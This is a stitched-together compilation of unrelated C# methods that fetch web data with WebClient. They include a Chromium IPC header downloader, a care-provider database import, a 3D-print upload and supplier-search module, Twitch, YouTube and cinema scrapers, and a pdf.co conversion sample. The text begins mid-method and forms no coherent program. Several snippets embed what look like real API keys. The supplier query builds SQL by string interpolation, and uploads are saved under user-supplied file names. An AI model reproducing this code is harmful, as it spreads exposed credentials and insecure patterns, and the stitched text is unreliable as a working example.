} catch (Exception e) { // Why this failed (e.g. 404) ((DrvNotifyChannel)this.Channel).LogAndEvent("Failed to poll Redirector: " + e.Message); // Driver should fail and raise alarm if this occurs too many times //App.SendReceiveObject(this.DBScanner.Id, OPCProperty.SendRecRaiseScannerAlarm, e.Message); } } } }
/// <summary> /// Iterates the given legacy IPC file paths, downloads them, extracts interfaces information, /// and writes the results to a file /// </summary> /// <param name="commit"></param> /// <param name="chromeVersion"></param> public static void DownloadAndAnalyzeLegacyIpcFiles(Dictionary <IPCMessageStart, string> legacyIpcFiles, string commit, string chromeVersion) { TextWriter textWriter = new StreamWriter(CACHE_FILENAME, false); JsonWriter jsonWriter = new JsonTextWriter(textWriter) { Formatting = Formatting.Indented }; jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("metadata"); jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("version"); jsonWriter.WriteValue(chromeVersion); jsonWriter.WritePropertyName("commit"); jsonWriter.WriteValue(commit); jsonWriter.WriteEndObject(); WebClient webClient = new WebClient(); Console.WriteLine("[+] Going to download " + legacyIpcFiles.Count + " legacy IPC header files."); // // Download & analyse loop // List <IPCMessageStart> keys = legacyIpcFiles.Keys.ToList(); for (int i = 0; i < keys.Count; i++) { IPCMessageStart messageStart = keys[i]; string legacyIpcFilePath = legacyIpcFiles[messageStart]; UInt32 messageClass = (UInt32)messageStart; if (legacyIpcFilePath == null) { continue; } Console.WriteLine("[+] Processing file " + legacyIpcFilePath); try { string headerFileLink = "https://chromium.googlesource.com/chromium/src.git/+/" + commit + "/" + legacyIpcFilePath + "?format=text"; string headerFileContents = Encoding.Default.GetString(Convert.FromBase64String(webClient.DownloadString(headerFileLink))); // // Analyse this file // AnalyzeLegacyIpcHeaderFile(jsonWriter, messageClass, headerFileContents, legacyIpcFilePath, commit); } catch (WebException webException) { if (((HttpWebResponse)webException.Response).StatusCode == (HttpStatusCode)429) { Console.WriteLine("[!] Sleeping 10 seconds to avoid Too Many Requests error."); Thread.Sleep(10000); i--; continue; } if (((HttpWebResponse)webException.Response).StatusCode == HttpStatusCode.NotFound) { // this IPC header file was not found, most likely because it was removed in newer versions of chromium. // just ignore continue; } textWriter.Close(); File.Delete(CACHE_FILENAME); throw webException; } } jsonWriter.WriteEndObject(); textWriter.Close(); }
private static void ProveedoresCuido() { string url = Properties.Settings.Default.ProveedoresCuidoGetProvUrl; using (WebClient serviceRequest = new WebClient()) { string proveedores = serviceRequest.DownloadString(new Uri(url)); JArray providersArray = JsonConvert.DeserializeObject(proveedores) as JArray; if (providersArray == null) { throw new ApplicationException("The response is not a Json array."); } using (SqlConnection conn = new SqlConnection(Properties.Settings.Default.CompassDbConnString)) { conn.Open(); using (SqlCommand cmd = new SqlCommand()) { cmd.Connection = conn; cmd.CommandText = "INSERT INTO [dbo].[Location] ([LocationTypeEnumCode]," + "\r\n" + " [LocationGroupEnumCode]," + "\r\n" + " [SourceIntUniqueKey]," + "\r\n" + " [Name]," + "\r\n" + " [DescriptionEn]," + "\r\n" + " [DescriptionEs]," + "\r\n" + " [Address1]," + "\r\n" + " [Address2]," + "\r\n" + " [City]," + "\r\n" + " [State]," + "\r\n" + " [ZipCode]," + "\r\n" + " [Latitude]," + "\r\n" + " [Longitude])" + "\r\n" + "VALUES (1," + "\r\n" + " 4," + "\r\n" + " @SourceIntUniqueKey," + "\r\n" + " @Name," + "\r\n" + " @DescriptionEn," + "\r\n" + " @DescriptionEs," + "\r\n" + " @Address1," + "\r\n" + " @Address2," + "\r\n" + " @City," + "\r\n" + " @State," + "\r\n" + " @ZipCode," + "\r\n" + " @Latitude," + "\r\n" + " @Longitude);"; SqlParameter sourceIntUniqueKeyParam = cmd.Parameters.Add("@SourceIntUniqueKey", System.Data.SqlDbType.Int); SqlParameter nameParam = cmd.Parameters.Add("@Name", System.Data.SqlDbType.VarChar, 30); SqlParameter descriptionEnParam = cmd.Parameters.Add("@DescriptionEn", System.Data.SqlDbType.VarChar, 50); SqlParameter descriptionEsParam = cmd.Parameters.Add("@DescriptionEs", System.Data.SqlDbType.VarChar, 50); SqlParameter address1Param = cmd.Parameters.Add("@Address1", System.Data.SqlDbType.VarChar, 50); SqlParameter address2Param = cmd.Parameters.Add("@Address2", System.Data.SqlDbType.VarChar, 50); SqlParameter cityParam = cmd.Parameters.Add("@City", System.Data.SqlDbType.VarChar, 30); SqlParameter stateParam = cmd.Parameters.Add("@State", System.Data.SqlDbType.VarChar, 30); SqlParameter zipCodeParam = cmd.Parameters.Add("@ZipCode", System.Data.SqlDbType.VarChar, 10); SqlParameter latitudeParam = cmd.Parameters.Add("@Latitude", System.Data.SqlDbType.Float); SqlParameter longitudeParam = cmd.Parameters.Add("@Longitude", System.Data.SqlDbType.Float); stateParam.Value = "PR"; foreach (JObject item in providersArray) { string proveedorId = item.Value <string>("ProveedorID"); string nombre = item.Value <string>("Nombre"); int provUniqueKey; if (int.TryParse(proveedorId, out provUniqueKey)) { string getUrl = string.Format(Properties.Settings.Default.ProveedoresCuidoGetProvByIdTemplateUrl, provUniqueKey); string providerData = serviceRequest.DownloadString(new Uri(getUrl)); JObject providerObj = JsonConvert.DeserializeObject(providerData) as JObject; if (providerObj != null) { string tipoProveedor = providerObj.Value <string>("TipoProveedor").EnsureNotNull(true); string direccionResidencial1 = providerObj.Value <string>("DireccionResidencial1").EnsureNotNull(true); string direccionResidencial2 = providerObj.Value <string>("DireccionResidencial2").EnsureNotNull(true); string zipCodeResidencial = providerObj.Value <string>("ZipCodeResidencial").EnsureNotNull(true); string ciudadResidencial = providerObj.Value <string>("CiudadResidencial").EnsureNotNull(true); string latitudLongitud = providerObj.Value <string>("LatitudLongitud").EnsureNotNull(true); if (latitudLongitud.Contains(",")) { string[] latLong = latitudLongitud.Split(new char[] { ',' }); double latitud; double longitud; if (latLong.Length > 1 && double.TryParse(latLong[0], out latitud) && double.TryParse(latLong[1], out longitud)) { sourceIntUniqueKeyParam.Value = provUniqueKey; nameParam.Value = nombre; descriptionEnParam.Value = tipoProveedor; descriptionEsParam.Value = tipoProveedor; address1Param.Value = direccionResidencial1; address2Param.Value = direccionResidencial2; cityParam.Value = ciudadResidencial; zipCodeParam.Value = zipCodeResidencial; latitudeParam.Value = latitud; longitudeParam.Value = longitud; cmd.ExecuteNonQuery(); } } } } } } } } }
public PrintModule(IDbConnection db, ILog log, IRootPathProvider pathProvider) : base("/print") { Get["/"] = parameters => { base.Page.Title = "3D打印"; return(View["Index", base.Model]); }; Get["/materials"] = parameters => { var materials = db.Select <Material>(q => q.State == 0); return(Response.AsJson(materials)); //return Response.AsJson(( new List<string> { "Foo","Bar","Hello","World"}).Select(i => new { // message = i //})); }; Post["/upload"] = parameters => { string uploadDirectory; string filepath = ""; if (Context.CurrentUser == null) { uploadDirectory = Path.Combine(pathProvider.GetRootPath(), "Content", "uploads", "temp"); filepath = "/Content/uploads/temp/"; } else { uploadDirectory = Path.Combine(pathProvider.GetRootPath(), "Content", "uploads", "3d"); filepath = "/Content/uploads/3d/"; } if (!Directory.Exists(uploadDirectory)) { Directory.CreateDirectory(uploadDirectory); } string _filename = ""; string filename = ""; List <Models.File> files = new List <Models.File>(); foreach (var file in Request.Files) { if (System.IO.Path.GetExtension(file.Name).ToLower() != ".stl") { //return Response.AsJson("{\"files\":[{error:\"文件格式不是stl\"}]}",Nancy.HttpStatusCode.BadRequest); files.Add(new Models.File() { error = "文件格式不是stl!" }); return(Response.AsJson <JsonFileUpload>(new JsonFileUpload() { files = files })); } if (file.Name.IndexOf("$") >= 0) { files.Add(new Models.File() { error = "文件名不能包含'$'符号!" }); return(Response.AsJson <JsonFileUpload>(new JsonFileUpload() { files = files })); } //_filename = file.Name; if (Context.CurrentUser == null) { _filename = Session["TempUserId"].ToString() + "$" + DateTime.Now.ToString("yyyy-MM-dd-hh-mm-ss-fffff") + "$" + file.Name; filename = Path.Combine(uploadDirectory, _filename); } else { string userid = ""; userid = db.Select <string>("select Id from T_User where Email=@email", new { email = base.Page.CurrentUser }).FirstOrDefault(); _filename = userid + "$" + DateTime.Now.ToString("yyyy-MM-dd-hh-mm-ss-fffff") + "$" + file.Name; filename = Path.Combine(uploadDirectory, _filename); } using (FileStream fileStream = new FileStream(filename, FileMode.Create)) { file.Value.CopyTo(fileStream); } } STLReader stl = new STLReader(filename); if (stl.IsValid) { //jsonfile.files= stl.Size.Length.ToString(); //fi.gg_width = stl.Size.Width.ToString(); //fi.gg_height = stl.Size.Height.ToString(); //stl.Surface. files.Add(new Models.File() { name = _filename, fullname = filepath + _filename, length = stl.Size.Length.ToString(), width = stl.Size.Width.ToString(), height = stl.Size.Height.ToString(), surface = stl.Surface.ToString(), volume = stl.Volume.ToString() }); } else { files.Add(new Models.File() { error = stl.ErrorMessage }); } //return Response.AsJson("{\"files\":[{name:\"" + _filename + "\"}]}", Nancy.HttpStatusCode.OK); //files.Add(new Models.File() { name = _filename }); return(Response.AsJson <JsonFileUpload>(new JsonFileUpload() { files = files })); //base.Page.Title = "上传成功"; //return View["Index", base.Model]; }; Get["/suppliers"] = parameters => { string materialid = Request.Query["materialid"].Value; string _distance = Request.Query["distance"].Value; double distance = 20000; if (_distance != null) { bool b = double.TryParse(_distance, out distance); if (!b) { distance = 20000; } } double lng = 0, lat = 0; string url = $"http://api.map.baidu.com/location/ip?ak=26904d2efeb684d7d59d493098e7295d&ip={Request.UserHostAddress}&coor=bd09ll"; WebClient wc = new WebClient(); wc.Encoding = Encoding.UTF8; string json = wc.DownloadString(url); JObject m = JObject.Parse(json); if (m["status"].ToString() == "0") { lng = double.Parse(m["point"]["x"].ToString()); //经度 lat = double.Parse(m["point"]["y"].ToString()); //纬度 } //lng = 118.645297; //lat = 24.879442; double range = 180 / Math.PI * distance / 6372.797; //distance代表距离,单位是km double lngR = range / Math.Cos(lat * Math.PI / 180.0); double maxLat = lat + range; double minLat = lat - range; double maxLng = lng + lngR; double minLng = lng - lngR; //暂时精确到供应商,不精确到供应商的打印机 string sql = $@" SELECT t1.supplierId,t1.fname,address,tel,qq,logo,t2.Price as MatPrice,t3.fname as PrintCompleteName,t2.id as SupplierPrinterMaterialId FROM t_supplier t1 join t_supplier_printer_material t2 on t2.supplierId=t1.supplierId join t_printcomplete t3 on t3.completeid=t2.completeid WHERE ((lat BETWEEN '{minLat}' AND '{maxLat}') AND (lng BETWEEN '{minLng}' AND '{maxLng}')) and t2.MaterialId=@MaterialId and t1.state='0' Group by t1.supplierId,t1.fname,address,tel,qq,logo;"; var suppliers = db.Select <SupplierWithCompletePriceModel>(sql, new { MaterialId = materialid }); return(Response.AsJson(suppliers.Select(i => new { supplierId = i.SupplierId, fname = i.Fname, address = i.Address, tel = i.Tel, qq = i.QQ, logo = i.Logo, matprice = i.MatPrice, printcompletename = i.PrintCompleteName, supplierprintermaterialid = i.SupplierPrinterMaterialId }))); }; }
private void SearchChannel(string channel, VideoType videoType, LoadLimitType loadLimit, DateTime loadFrom, DateTime loadTo, int loadLastVods) { if (string.IsNullOrWhiteSpace(channel)) { throw new ArgumentNullException(nameof(channel)); } string channelId = GetChannelIdByName(channel); ObservableCollection <TwitchVideo> videos = new ObservableCollection <TwitchVideo>(); string broadcastTypeParam = null; if (videoType == VideoType.Broadcast) { broadcastTypeParam = "archive"; } else if (videoType == VideoType.Highlight) { broadcastTypeParam = "highlight"; } else if (videoType == VideoType.Upload) { broadcastTypeParam = "upload"; } else { throw new ApplicationException("Unsupported video type '" + videoType.ToString() + "'"); } string channelVideosUrl = string.Format(CHANNEL_VIDEOS_URL, channelId); DateTime fromDate = DateTime.Now; DateTime toDate = DateTime.Now; if (loadLimit == LoadLimitType.Timespan) { fromDate = loadFrom; toDate = loadTo; } int offset = 0; int total = 0; int sum = 0; bool stop = false; do { using (WebClient webClient = CreatePublicApiWebClient()) { webClient.QueryString.Add("broadcast_type", broadcastTypeParam); webClient.QueryString.Add("limit", TWITCH_MAX_LOAD_LIMIT.ToString()); webClient.QueryString.Add("offset", offset.ToString()); string result = webClient.DownloadString(channelVideosUrl); JObject videosResponseJson = JObject.Parse(result); if (videosResponseJson != null) { if (total == 0) { total = videosResponseJson.Value <int>("_total"); } foreach (JObject videoJson in videosResponseJson.Value <JArray>("videos")) { sum++; if (videoJson.Value <string>("_id").StartsWith("v")) { TwitchVideo video = ParseVideo(videoJson); if (loadLimit == LoadLimitType.LastVods) { videos.Add(video); if (sum >= loadLastVods) { stop = true; break; } } else { DateTime recordedDate = video.RecordedDate; if (recordedDate.Date >= fromDate.Date && recordedDate.Date <= toDate.Date) { videos.Add(video); } if (recordedDate.Date < fromDate.Date) { stop = true; break; } } } } } } offset += TWITCH_MAX_LOAD_LIMIT; } while (!stop && sum < total); Videos = videos; }
static string LoadInfoSinema(string answer) { if (answer == null) { return(null); } var parser = new HtmlParser(); WebClient wc = new WebClient(); string allInfo = ""; var texts = parser.ParseDocument(answer).GetElementsByClassName(test); //var texts = parser.ParseDocument(answer).GetElementsByClassName(test); //var categories = parser.ParseDocument(answer).GetElementsByClassName(test1); //var time = parser.ParseDocument(answer).GetElementsByClassName(test2); //info = new string[texts.Length]; //foreach (var text in texts) //{ // text.TextContent = text.TextContent.Replace("\n", ""); // info[count++] = text.TextContent + ":"; //} //count = 0; //foreach (var text in categories) //{ // info[count] = info[count++] + " " + text.TextContent; //} //count = 0; //foreach (var text in time) //{ // text.TextContent = text.TextContent.Replace("\n", ""); // info[count] = info[count] + ";" + "\n" + "Время:" + text.TextContent; // allSinema = allSinema + info[count++] + "\n"; //} //var city = parser.ParseDocument(texts.ToString()).GetElementsByClassName("list"); foreach (var text in texts) { var link = text.GetAttribute("href"); urlSinema.Add("https://yandex.ru" + link); } for (int i = 0; i < urlSinema.Count; i++) { string infoSite = wc.DownloadString(urlSinema[i]); var pageInfo = parser.ParseDocument(infoSite).GetElementsByClassName(test1); foreach (var pI in pageInfo) { string name = pI.TextContent; allInfo = allInfo + name + "\n"; } pageInfo = parser.ParseDocument(infoSite).GetElementsByClassName(test2); foreach (var pI in pageInfo) { string name = pI.TextContent; allInfo = allInfo + name + "\n"; } } //allInfo = allInfo + "\nСеансы: "; //pageInfo = parser.ParseDocument(infoSite).GetElementsByClassName(test3); //foreach (var pI in pageInfo) //{ // var temp = pI.Children; // foreach(var tmp in temp) // { // var name = tmp.TextContent; // allInfo = allInfo + name; // } //} return(allInfo); }
public BulkList ReadBulkList() { string json = _client.DownloadString(BulkDataUri); return(JsonConvert.DeserializeObject <BulkList>(json)); }
public string DownloadArchive() { return(wc.DownloadString(PASTEBIN_URL + "/archive")); }
private void bkgndFirmwareListReader_DoWork(object sender, DoWorkEventArgs e) { string html = ""; try { using (WebClient client = new WebClient()) { html = client.DownloadString("https://github.com/dc42/PanelDueFirmware/releases"); } } catch { return; } string re1 = "(<)"; // Any Single Character 1 string re2 = "(a)"; // Any Single Character 2 string re3 = "(\\s+)"; // White Space 1 string re4 = "(href)"; // Variable Name 1 string re5 = "(=)"; // Any Single Character 3 string re6 = "(\")"; // Any Single Character 4 string re7 = "(\\/)"; // Any Single Character 5 string re8 = "(dc42)"; // Variable Name 2 string re9 = "(\\/)"; // Any Single Character 6 string re10 = "(PanelDueFirmware)"; // Variable Name 3 string re11 = "(\\/)"; // Any Single Character 7 string re12 = "(releases)"; // Variable Name 4 string re13 = "(\\/)"; // Any Single Character 8 string re14 = "(download)"; // Variable Name 5 string re15 = "(\\/)"; // Any Single Character 9 string re16 = "([0-9.]+)"; // Non-greedy match on filler string re17 = "(\\/)"; // Any Single Character 10 string re18 = "(PanelDue-)"; // Variable Name 6 string re20 = "([0-9vi.-]+)"; // Non-greedy match on filler string re24 = "(-nologo\\.bin)"; // File Name 1 string re25 = "(\")"; // Any Single Character 13 string rt = re1 + re2 + re3 + re4 + re5 + re6 + re7 + re8 + re9 + re10 + re11 + re12 + re13 + re14 + re15 + re16 + re17 + re18 + re20 + re24 + re25; Regex r = new Regex(rt, RegexOptions.IgnoreCase | RegexOptions.Singleline); Match m = r.Match(html); while (m.Success) { string fw = m.Groups[16].ToString(); string hw = m.Groups[19].ToString(); if (fw.Contains("/") == false && hw.Contains(".bin") == false) { string url = string.Format("https://github.com/dc42/PanelDueFirmware/releases/download/{0}/PanelDue-{1}-nologo.bin", fw, hw); string name = string.Format("FW v{0} - HW {1}", fw, hw); if (webFirmwareList.ContainsKey(name) == false) { webFirmwareList.Add(name, url); } } m = m.NextMatch(); } }
void downloadDataFromGit() { using (WebClient a = new WebClient()) { itemRowsPt = a.DownloadString("https://raw.githubusercontent.com/Treeofsavior/PortugueseTranslation/master/ITEM_BP.tsv").Replace("\t\n", "\n").Split('\n'); itemRowsEn = a.DownloadString("https://raw.githubusercontent.com/Treeofsavior/EnglishTranslation/master/EnglishTranslation-master/ITEM.tsv").Replace("\t\n", "\n").Split('\n'); itemRowsKr = a.DownloadString("https://raw.githubusercontent.com/Treeofsavior/EnglishTranslation/master/EnglishTranslation-master/ITEM_kor.tsv").Replace("\t\n", "\n").Split('\n'); etcRowsPt = a.DownloadString("https://raw.githubusercontent.com/Treeofsavior/PortugueseTranslation/master/ETC_BP.tsv").Replace("\t\n", "\n").Split('\n'); etcRowsEn = a.DownloadString("https://raw.githubusercontent.com/Treeofsavior/EnglishTranslation/master/EnglishTranslation-master/ETC.tsv").Replace("\t\n", "\n").Split('\n'); etcRowsKr = a.DownloadString("https://raw.githubusercontent.com/Treeofsavior/EnglishTranslation/master/EnglishTranslation-master/ETC_kor.tsv").Replace("\t\n", "\n").Split('\n'); } newItemRows = new string[itemRowsKr.Length]; newEtcRows = new string[etcRowsKr.Length]; try { for (int a = 0; a < itemRowsKr.Length - 1; a += 1) { string[] valuesPt = null; try { valuesPt = itemRowsPt[a].Split('\t'); } catch { } string[] valuesEn = itemRowsEn[a].Split('\t'); string[] valuesKr = itemRowsKr[a].Split('\t'); string tempString = string.Empty; if (valuesEn.Length < 2) { tempString = valuesKr[0] + "\t" + valuesKr[1]; itemRowsEn[a] = tempString; valuesEn = itemRowsEn[a].Split('\t'); } if (valuesPt == null || valuesPt.Length < 2) { tempString = valuesEn[0] + "\t" + valuesEn[1]; newItemRows[a] = tempString.TrimStart().TrimEnd(); } else { newItemRows[a] = itemRowsPt[a].TrimStart().TrimEnd(); } } for (int a = 0; a < etcRowsKr.Length - 1; a += 1) { string[] valuesPt = null; try { valuesPt = etcRowsPt[a].Split('\t'); } catch { } string[] valuesEn = etcRowsEn[a].Split('\t'); string[] valuesKr = etcRowsKr[a].Split('\t'); string tempString = string.Empty; if (valuesEn.Length < 2) { tempString = valuesKr[0] + "\t" + valuesKr[1]; etcRowsEn[a] = tempString; valuesEn = etcRowsEn[a].Split('\t'); } if (valuesPt == null || valuesPt.Length < 2) { tempString = valuesEn[0] + "\t" + valuesEn[1]; newEtcRows[a] = tempString.TrimStart().TrimEnd(); } else { newEtcRows[a] = etcRowsPt[a].TrimStart().TrimEnd(); } } } catch { } newItemRows = newItemRows.Take(newItemRows.Length - 1).ToArray(); newEtcRows = newEtcRows.Take(newEtcRows.Length - 1).ToArray(); File.WriteAllLines(Directory.GetCurrentDirectory() + @"\ITEM_NEW.tsv", newItemRows, Encoding.UTF8); File.WriteAllLines(Directory.GetCurrentDirectory() + @"\ETC_NEW.tsv", newEtcRows, Encoding.UTF8); MessageBox.Show("End!", this.Text); }
public string MakeGetCall() { return(webClient.DownloadString(urlSource.GETUri)); }
public void test_channel() { string sChuoiKetNoi = @"Data Source=(local);Initial Catalog=data_trial_view;Integrated Security=True"; //Chuỗi truy vấn string getma = @"Select * From channel"; SqlDataAdapter dataget = new SqlDataAdapter(getma, sChuoiKetNoi); DataTable dt = new DataTable(); //data table dùng lấy dữ liệu--> table ảo dataget.Fill(dt); // if (dt.Rows.Count > 0) // { // Lấy chỉ số phần tử dòng cuối cùng // int iDongCuoi = dt.Rows.Count - 1; // vitri = int.Parse(dt.Rows[iDongCuoi][0].ToString()); // } List <kenhtest> listchanneldie = new List <kenhtest>(); List <kenhtest> listno = new List <kenhtest>(); List <kenhtest> listnovideo = new List <kenhtest>(); for (int i = 0; i < dt.Rows.Count; i++) { string idtest = json_testchannel(dt.Rows[i][2].ToString()); if (idtest == "0") { listchanneldie.Add(new kenhtest(dt.Rows[i][0].ToString(), dt.Rows[i][1].ToString(), dt.Rows[i][2].ToString(), dt.Rows[i][3].ToString(), dt.Rows[i][4].ToString(), dt.Rows[i][5].ToString())); } else { try { string id_videom = "https://www.googleapis.com/youtube/v3/playlistItems?part=contentDetails&maxResults=1&playlistId=" + idtest + "&key=AIzaSyAyL0tx2-Rqtw2DIYbaahvcV3b1-1Uk-I4"; WebClient wC_idm = new WebClient { Encoding = Encoding.UTF8 }; string jsonString_idvideom = wC_idm.DownloadString(id_videom); JObject jObj_id_videom = (JObject)JsonConvert.DeserializeObject(jsonString_idvideom); string lid = jObj_id_videom["items"][0]["contentDetails"]["videoId"].ToString(); // kiểm tra kiếm tiền string input = "https://www.googleapis.com/youtube/v3/videos?id=" + lid + "&key=AIzaSyAyL0tx2-Rqtw2DIYbaahvcV3b1-1Uk-I4&part=contentDetails"; WebClient wC = new WebClient { Encoding = Encoding.UTF8 }; string jsonString = wC.DownloadString(input); JObject jObj = (JObject)JsonConvert.DeserializeObject(jsonString); string lmoney = jObj["items"][0]["contentDetails"]["licensedContent"].ToString(); if (lmoney == "False") { listno.Add(new kenhtest(dt.Rows[i][0].ToString(), dt.Rows[i][1].ToString(), dt.Rows[i][2].ToString(), dt.Rows[i][3].ToString(), dt.Rows[i][4].ToString(), dt.Rows[i][5].ToString())); } } catch { listnovideo.Add(new kenhtest(dt.Rows[i][0].ToString(), dt.Rows[i][1].ToString(), dt.Rows[i][2].ToString(), dt.Rows[i][3].ToString(), dt.Rows[i][4].ToString(), dt.Rows[i][5].ToString())); } } } show_test jtest = new show_test(listchanneldie, listno, listnovideo); jtest.Show(); }
static void Main(string[] args) { // Create standard .NET web client instance WebClient webClient = new WebClient(); // Set API Key webClient.Headers.Add("x-api-key", API_KEY); // Prepare URL for `PDF To Text` API call string query = Uri.EscapeUriString(string.Format( "https://api.pdf.co/v1/pdf/convert/to/text?name={0}&password={1}&pages={2}&url={3}&async={4}", Path.GetFileName(DestinationFile), Password, Pages, SourceFileUrl, Async)); try { // Execute request string response = webClient.DownloadString(query); // Parse JSON response JObject json = JObject.Parse(response); if (json["error"].ToObject <bool>() == false) { // Asynchronous job ID string jobId = json["jobId"].ToString(); // URL of generated TXT file that will be available after the job completion string resultFileUrl = json["url"].ToString(); // Check the job status in a loop. // If you don't want to pause the main thread you can rework the code // to use a separate thread for the status checking and completion. do { string status = CheckJobStatus(jobId); // Possible statuses: "working", "failed", "aborted", "success". // Display timestamp and status (for demo purposes) Console.WriteLine(DateTime.Now.ToLongTimeString() + ": " + status); if (status == "success") { // Download TXT file webClient.DownloadFile(resultFileUrl, DestinationFile); Console.WriteLine("Generated TXT file saved as \"{0}\" file.", DestinationFile); break; } else if (status == "working") { // Pause for a few seconds Thread.Sleep(3000); } else { Console.WriteLine(status); break; } }while (true); } else { Console.WriteLine(json["message"].ToString()); } } catch (WebException e) { Console.WriteLine(e.ToString()); } webClient.Dispose(); Console.WriteLine(); Console.WriteLine("Press any key..."); Console.ReadKey(); }